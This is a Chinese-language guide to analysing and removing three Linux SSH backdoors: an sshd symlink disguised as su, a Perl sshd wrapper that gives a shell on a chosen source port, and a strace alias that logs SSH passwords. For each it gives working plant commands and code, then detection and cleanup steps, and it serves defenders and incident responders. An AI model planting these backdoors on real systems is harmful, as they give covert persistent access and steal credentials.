Linux SSH Backdoor分析排查
1、SSH后门分类
SSH后门方式有以下几种
- 软链接
- SSH Server wrapper
- SSH Keylogger
2、软链接
- 利用方法
[root@helen]# ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;
- 排查方法
[root@helen]# netstat -anop
通过开发端口信息的PID查询进程路径,【ll /proc/xxxx】命令查看程序对应的路径。
- 清除后门
kill -9 pid
rm -rf 后门程序
3、SSH Server wrapper
- 利用方法
先将/usr/sbin/sshd文件mv到/usr/bin目录
[root@helen ~]# cd /usr/sbin/
[root@helen sbin]# mv sshd ../bin
[root@helen sbin]# vim sshd
再编辑sshd
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
再设置权限
chmod 755 sshd
攻击者:
在本机上执行socat STDIO TCP4:target_ip:22,sourceport=19526
- 排查方法
查看端口可以看到网络外链的端口
因为正常的sshd路径是在/usr/sbin/sshd,通过命令【ll /proc/xxx】查看sshd的路径路径在/usr/bin/sshd。所以断定sshd被动过手脚。
通过查看sshd文件可得知sshd的确被动过手脚。
cat /usr/sbin/sshd
- 清除后门
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;
4、SSH Keylogger
- 利用方法
编辑当前用户下的.bashrc文件
vi /root/.bashrc
在最后面添加如下后门代码:
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
【source .bashrc】命令使更改的配置生效
ssh连接或者su切换用户,输入密码时的密码,无论错误或者正确都能记录到log里
- 排查方法
排查环境变量
- 清除后门
清空增加的环境变量内容
5、参考
https://joychou.org/hostsec/linux-ssh-backdoor.html
http://pastebin.com/2NgL8SDE
http://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper/
https://diogomonica.com/posts/poor-man-s-ssh-keylogger/
http://drops.wooyun.org/tips/1951